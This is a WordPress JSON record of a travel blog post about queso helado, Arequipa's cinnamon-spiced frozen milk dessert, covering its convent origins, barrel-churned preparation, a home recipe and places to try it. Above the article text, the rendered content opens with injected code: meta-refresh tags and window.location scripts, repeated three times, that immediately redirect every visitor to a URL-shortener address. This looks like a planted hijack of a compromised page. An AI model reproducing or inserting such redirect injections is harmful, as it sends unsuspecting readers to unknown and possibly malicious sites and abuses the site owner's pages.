{"id":16735,"date":"2025-07-03T15:06:14","date_gmt":"2025-07-03T20:06:14","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=16735"},"modified":"2025-07-03T15:20:55","modified_gmt":"2025-07-03T20:20:55","slug":"perus-queso-helado-a-chilly-sweet-delight","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/perus-queso-helado-a-chilly-sweet-delight\/","title":{"rendered":"Peru\u2019s Queso Helado: A Chilly Sweet Delight"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>In Arequipa, Peru, the sun bathes the \u201cWhite City\u201d in golden light, and the mighty El Misti volcano stands guard.&nbsp;<\/p>\n\n\n\n<p>You\u2019ve just savored a fiery plate of <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/rocoto-relleno-perus-sizzling-stuffed-pepper-fiesta\/\">\u201c<strong>rocoto relleno<\/strong>\u201d<\/a>, and now you\u2019re craving something to cool your palate.&nbsp;<\/p>\n\n\n\n<p>Following, you will taste \u201cqueso helado\u201d, Peru\u2019s legendary \u201cfrozen cheese\u201d dessert that\u2019s not cheese at all\u2014just a velvety, cinnamon-dusted dream that melts in your mouth.<\/p>\n\n\n\n<p>&nbsp;This artisanal ice cream, born in Arequipa\u2019s colonial kitchens, is a cornerstone of<strong> <\/strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/essential-peruvian-food-10-dishes-you-must-try\/\"><strong>Peruvian food<\/strong><\/a>, blending Andean dairy with a touch of Spanish flair.&nbsp;<\/p>\n\n\n\n<p>So, in this journey, we\u2019ll uncover the history, flavors, and best spots to try queso helado, all while keeping it fun, easy to read, and backed by real web sources. Spoon at the ready? Then, let\u2019s chase this frosty slice of happiness!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>What Is Queso Helado, Anyway?<\/strong><\/h2>\n\n\n\n<p>Don\u2019t let the name fool you\u2014queso helado (Spanish for \u201cfrozen cheese\u201d) is cheese-free and 100% sweet.&nbsp; &nbsp;Think of it as a rustic ice cream or semifreddo, crafted from fresh cow\u2019s milk, sweetened condensed milk, evaporated milk, sugar, and a sprinkle of warm spices like cinnamon and cloves.&nbsp;<\/p>\n\n\n\n<p>Some recipes toss in coconut, vanilla, or even egg yolks for a custard-like richness. The result is a creamy, slightly icy treat that\u2019s light yet indulgent, often served in wedges that resemble a slice of cheese\u2014hence the quirky moniker.&nbsp;<\/p>\n\n\n\n<p>Also, a dusting of cinnamon sugar or a drizzle of fruit syrup adds the final touch, making each bite a burst of cool, spiced sweetness.<\/p>\n\n\n\n<p>Hailing from<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/arequipas-sillar-homes-and-colonial-beauty\/\"><strong> Arequipa<\/strong><\/a>, Peru\u2019s second-largest city, \u201cqueso helado\u201d is a local icon, but its fame has spread to Cusco, Lima, and even Peruvian restaurants abroad.&nbsp;<\/p>\n\n\n\n<p>It\u2019s the kind of dessert that feels like a warm hug served cold, blending simple ingredients into something unforgettable. So, let\u2019s rewind to see how this chilly delight came to be.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>A Sweet History: From Convent Kitchens to Street Carts<\/strong><\/h2>\n\n\n\n<p>This traditional dessert, which it\u2019s name confuses visitors but charms them with its flavor, has a rich and fascinating history. So, let\u2019s go back to the early 16th century, with the arrival of the <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-spanish-conquest-in-peru\/\"><strong>Spanish conquerors <\/strong><\/a>in Peru.&nbsp;<\/p>\n\n\n\n<p>Before that, dairy products didn\u2019t exist in the region\u2014no milk, no cheese\u2014because the Incas had no domesticated mammals.<\/p>\n\n\n\n<p>&nbsp;However, when the Spaniards came, they brought with them cows, sugar, spices, and eggs, kicking off a new era in local cuisine.&nbsp;<\/p>\n\n\n\n<p>Soon, towns like Pampacolca, Viraco, and Chuquibamba in the Arequipa region became centers of milk and cheese production.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>The first Steps<\/strong><\/h2>\n\n\n\n<p>One of the first known places where <em>Queso Helado<\/em> was prepared was the Santa Catalina Convent in Arequipa, founded in 1579.&nbsp;<\/p>\n\n\n\n<p>Though the convent was primarily a place of prayer, it also became a hub for culinary innovation. The nuns, who had brought extensive European cooking knowledge with them, began crafting recipes for a range of dishes and sweets, including ice cream among them.&nbsp;<\/p>\n\n\n\n<p>At that time, frozen desserts were a luxury reserved for the elite. But, there was a problem: no refrigerators. Locals used to bring down ice on muleback from nearby volcanoes like Chachani.&nbsp;<\/p>\n\n\n\n<p>Local people, eager to learn the nuns\u2019 recipe, helped supply the ice in exchange for culinary secrets. Using a wooden barrel filled with ice and saltpeter, they placed a tin or metal container on top and poured in a mixture of milk, cinnamon, cloves, vanilla, and sugar.&nbsp;<\/p>\n\n\n\n<p>Then, they stirred it manually, over and over, until it froze against the container\u2019s walls. The frozen layers were then scraped off and served in slices, just like cheese wheels.<\/p>\n\n\n\n<p>So, that\u2019s how this creamy, spiced, frozen treat got its curious name: <em>Queso Helado<\/em>, or \u201cFrozen Cheese.\u201d No actual cheese involved\u2014just a sweet, icy slice of history that continues to surprise and delight to this day.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/preparacion-queso-helado-santa-catalina_1.jpg?resize=697%2C465&#038;ssl=1\" alt=\"An ancient nun making the first queso helado\" class=\"wp-image-16740\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/preparacion-queso-helado-santa-catalina_1.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/preparacion-queso-helado-santa-catalina_1.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/preparacion-queso-helado-santa-catalina_1.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/preparacion-queso-helado-santa-catalina_1.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/preparacion-queso-helado-santa-catalina_1.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>The Magic of Making Queso Helado<\/strong><\/h2>\n\n\n\n<p>However, how does Queso Helado Guardians keep its legacy today? Well, they start the magic by boiling fresh milk with sugar, cinnamon sticks, and a pinch of cloves or coconut.&nbsp;<\/p>\n\n\n\n<p>Some add egg yolks for a richer texture, while others keep it simple. The mixture is cooled and poured into a metal container nestled in a wooden barrel filled with ice and salt\u2014a natural freezer.&nbsp;<\/p>\n\n\n\n<p>For example, vendors stir it patiently, sometimes for hours, as the mixture freezes against the container\u2019s walls, forming creamy layers.&nbsp;<\/p>\n\n\n\n<p>These are scraped into cheesy-looking slices or scooped into cups, dusted with cinnamon, or topped with fruit. The artisanal method is key.&nbsp;<\/p>\n\n\n\n<p>At Arequipa\u2019s Mercado San Camilo, vendors like Angelica Machuca Velazquez, a third-generation queso helado maker, churn out 30 liters daily by hand.&nbsp;<\/p>\n\n\n\n<p>\u201cIt\u2019s hard work, but it\u2019s our legacy,\u201d she says. Her stall, Machuquita, has been a market fixture for 90 years, and her creamy slices are legendary.&nbsp;<\/p>\n\n\n\n<p>Modern recipes might use an ice cream maker, but purists swear by the barrel method for its slightly icy, authentic texture.<\/p>\n\n\n\n<p>Want to try it at home? Simmer 2 cups of whole milk with a cinnamon stick, a pinch of cloves, and a can of sweetened condensed milk.&nbsp;<\/p>\n\n\n\n<p>Cool it, pour into a shallow dish, and freeze for 4\u20135 hours, stirring every 30 minutes to keep it smooth. Serve with a cinnamon sprinkle or a splash of passion fruit syrup. It\u2019s not quite Arequipa\u2019s barrel-churned magic, but it\u2019ll transport you to the Andes.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/3c109630-88c3-4c68-9430-440166c7fc67.png?resize=697%2C465&#038;ssl=1\" alt=\"Queso helado in Arequipa, the msiti and sillar-made cathedrals and archs\" class=\"wp-image-16743\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/3c109630-88c3-4c68-9430-440166c7fc67.png?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/3c109630-88c3-4c68-9430-440166c7fc67.png?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/3c109630-88c3-4c68-9430-440166c7fc67.png?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/3c109630-88c3-4c68-9430-440166c7fc67.png?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/3c109630-88c3-4c68-9430-440166c7fc67.png?w=1536&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/3c109630-88c3-4c68-9430-440166c7fc67.png?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Best Places to try Queso Helado<\/strong><\/h2>\n\n\n\n<p>Ready to taste this frosty gem? Arequipa is *queso helado* central, but you\u2019ll find it across Peru. Here are the best spots to dig in:<\/p>\n\n\n\n<p><strong>Mercado San Camilo, Arequipa: <\/strong>This bustling market is the heart of queso helado culture. Visit Angelica at Machuquita, where her hand-churned slices are served with a smile and a cinnamon dusting.&nbsp;<\/p>\n\n\n\n<p>Open 6 a.m. to 4 p.m., it\u2019s a must for an authentic taste. The market\u2019s vibrant hum\u2014vendors shouting, fruit stalls bursting with color\u2014makes every bite a sensory adventure.<\/p>\n\n\n\n<p><strong>Plaza de Armas, Arequipa:<\/strong> Arequipa\u2019s historic square is dotted with carts selling queso helado in cups or cones.&nbsp;<\/p>\n\n\n\n<p>Grab one while admiring the sillar cathedral or people-watching under palm trees. Look for vendors with colorful carts or bicycle mixers\u2014they\u2019re often the most traditional.<\/p>\n\n\n\n<p><strong>Picanter\u00edas in Arequipa:<\/strong> Traditional lunch spots like La Nueva Palomino or La Cau Cau serve queso helado as a cooling finale to spicy dishes like chupe de camarones. The creamy texture soothes the heat, often paired with a fruit topping or cinnamon sugar.<\/p>\n\n\n\n<p><strong>Yanahuara Square: <\/strong>Just a short walk from the city center, <strong>Yanahuara\u2019s main square<\/strong> is a wonderful place to enjoy <em>queso helado<\/em> outdoors, with a stunning view!&nbsp;<\/p>\n\n\n\n<p>Near the viewpoint, you\u2019ll find several stands that serve this beloved sweet treat, where families and travelers often gather beneath the charming colonial arches.<\/p>\n\n\n\n<p><strong>Festivals: <\/strong>Arequipa\u2019s January queso helado festival is a sweet extravaganza, with vendors competing for the creamiest batch. Semana Santa and Carnavales in Arequipa and Cusco bring out carts with bicycle mixers, adding nostalgia to every scoop.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/queso-helado-san-camilo-768x512-1.jpg?resize=697%2C465&#038;ssl=1\" alt=\"Lady in San Camilo market selling authentic Queso Helado\" class=\"wp-image-16739\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/queso-helado-san-camilo-768x512-1.jpg?w=768&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/queso-helado-san-camilo-768x512-1.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/queso-helado-san-camilo-768x512-1.jpg?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Queso Helado Keeps Stealing Hearts<\/strong><\/h2>\n\n\n\n<p>Queso helado&#8217;s colonial roots in the Santa Catalina Monastery tie it to centuries of culinary creativity, while its use of local milk celebrates the Andes\u2019 fertile valleys.&nbsp;<\/p>\n\n\n\n<p>Its simplicity is its superpower. Milk, sugar, and spices make it accessible, but the artisanal process adds a magic touch.&nbsp;<\/p>\n\n\n\n<p>Variations like coconut or fruit toppings keep things exciting, and its calcium-rich milk base makes it a (slightly) guilt-free treat. <\/p>\n\n\n\n<p>Whether at a festival or a quiet market stall, *queso helado* brings people together, sparking smiles with every frosty bite.<\/p>\n\n\n\n<p><strong>Pro Tip:<\/strong> Toasting the coconut before boiling adds extra flavor without making the mixture too heavy. Also, adding a bit more evaporated milk helps keep the ice crystals small, ensuring a smooth and creamy texture.&nbsp;<\/p>\n\n\n\n<p>Serving it sliced thin or shaved gives it a classic look that everyone will enjoy. And don\u2019t forget a sprinkle of ground cinnamon! It adds a lovely touch and brings back sweet memories of fairs and plazas.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"327\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/queso-helado-arequipa-1536x721-1.jpg?resize=697%2C327&#038;ssl=1\" alt=\"An Arequipe\u00f1a lady selling queso helado in arequipa's downton\" class=\"wp-image-16741\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/queso-helado-arequipa-1536x721-1.jpg?resize=1024%2C481&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/queso-helado-arequipa-1536x721-1.jpg?resize=300%2C141&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/queso-helado-arequipa-1536x721-1.jpg?resize=768%2C361&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/queso-helado-arequipa-1536x721-1.jpg?resize=1170%2C550&amp;ssl=1 1170w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/queso-helado-arequipa-1536x721-1.jpg?w=1536&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/queso-helado-arequipa-1536x721-1.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>&nbsp;Pairing Queso Helado Like a Local<\/strong><\/h3>\n\n\n\n<p>To elevate your queso helado experience, pair it like an Arequipe\u00f1o. Here\u2019s how to do it right:<\/p>\n\n\n\n<p><strong>After Spicy Dishes:<\/strong> In <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/cuscos-chicherias-picanterias-a-taste-of-tradition\/\"><strong>picanter\u00edas,<\/strong><\/a> queso helado is the perfect cooldown after fiery rocoto relleno or adobo. The creamy texture soothes your palate, making every bite of spice worth it.<\/p>\n\n\n\n<p>With Fruit: Some vendors top queso helado with passion fruit or mango syrup for a tropical twist. Try this in Lima\u2019s modern eateries for a vibrant, summery vibe.<\/p>\n\n\n\n<p>Alongside Alfajores: Pair a slice of queso helado with a crumbly alfajor (dulce de leche cookie) for a textural contrast\u2014creamy meets crunchy. Find both at Cusco\u2019s San Pedro Market.<\/p>\n\n\n\n<p>For the ultimate experience, savor it slowly while chatting with locals. \u201cIt\u2019s not just food\u2014it\u2019s our pride,\u201d says vendor Angelica, summing up why queso helado is a cultural treasure.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>More Than Dessert: A Cultural Experience<\/strong><\/h2>\n\n\n\n<p><em>Arequipe\u00f1os<\/em> adore <em>Queso helado,<\/em> so they make a celebration out of it!&nbsp; Every year, on January fourth, the vibrant city of Arequipa comes alive for Frozen Cheese Day.&nbsp;<\/p>\n\n\n\n<p>This wonderful event features food fairs, live demonstrations, and engaging contests in the main square. It not only showcases the best local producers but also highlights how important this dessert is to Arequipa\u2019s rich cultural heritage.<\/p>\n\n\n\n<p>In 2024, the prestigious&nbsp; food magazine Taste Atlas honored this humble Peruvian dessert the first place on their list of \u201cThe best desserts in the world.\u201d<\/p>\n\n\n\n<p>Thanks to this achievement, more people are getting to know that Peruvian food is not only savory dishes, but also has something sweet too!<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"380\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/unnamed-2.png?resize=697%2C380&#038;ssl=1\" alt=\"Near a square in Arequipa, next to it, a freshly made queso helado\" class=\"wp-image-16746\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/unnamed-2.png?w=1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/unnamed-2.png?resize=300%2C164&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/unnamed-2.png?resize=768%2C419&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>The Final Sweet<\/strong><\/h2>\n\n\n\n<p>In conclusion, we can claim that Queso helado is more than a dessert\u2014it\u2019s a frosty slice of Peru\u2019s soul. From the Santa Catalina Monastery\u2019s colonial kitchens to Arequipa\u2019s bustling markets, it carries centuries of history in every creamy bite.&nbsp;<\/p>\n\n\n\n<p>Whether you\u2019re savoring it at Mercado San Camilo, a picanter\u00eda, or the January festival, its cinnamon-kissed chill will leave you enchanted.&nbsp;<\/p>\n\n\n\n<p>Dive into a festival and taste it straight from a bicycle mixer. Your taste buds will dance, and you\u2019ll carry home a sweet memory of Peru\u2019s White City. Who knew \u201cfrozen cheese\u201d could be this irresistible?<\/p>\n\n\n\n<p>When you visit Arequipa, don\u2019t miss the chance to try <em>queso helado<\/em>. It\u2019s like looking at the Misti volcano without taking in its full beauty. <\/p>\n\n\n\n<p>The unique textures and temperatures of this dessert truly reflect the heart and soul of Arequipa. To discover more about <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/discover-the-secrets-of-peruvian-creole-cuisine\/\" title=\"\">Peruvian cuisine<\/a><\/strong> and other traditional desserts, stay tuned to our blog!<\/p>\n\n\n\n<p>Likewise, remember that <strong>Viagens Machu Picchu <\/strong>can assist you in making your dreams come true in Peru. Please feel free to<a href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\" title=\"\"> <strong>contact us<\/strong> <\/a>to get information about our tours, special deals, and more. The adventure in Peru awaits!<\/p>\n\n\n\n<p><strong><em>Viagens Machu Picchu:<\/em>&nbsp;Journeys<em>&nbsp;that inspire, moments that last<\/em>.<\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Arequipa\u2019s queso helado\u2014\u201cfrozen cheese\u201d with no cheese\u2014is a spiced, creamy dessert crafted from milk, cinnamon, and tradition. Born in convent kitchens and still handmade in markets, it\u2019s Peru\u2019s beloved icy treat and a cultural must-try.<\/p>\n","protected":false},"author":1,"featured_media":16737,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[202,1850,3495],"tags":[5065,5060,5751,5752,5059,3214,5754,5753],"class_list":["post-16735","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-arequipa","category-food","category-peruvian-flavors","tag-condensed-milk","tag-dulce-de-leche","tag-frozen-cheese","tag-ice-cream","tag-peruvian-desserts","tag-queso-helado","tag-sweet-treat","tag-traditional-dessert"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/queso-helado-arequipa-misti-768x512-1.jpg?fit=768%2C512&ssl=1","jetpack_shortlink":"https:\/\/wp.me\/pg0r71-4lV","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/16735","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/comments?post=16735"}],"version-history":[{"count":5,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/16735\/revisions"}],"predecessor-version":[{"id":16752,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/16735\/revisions\/16752"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media\/16737"}],"wp:attachment":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media?parent=16735"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/categories?post=16735"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/tags?post=16735"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}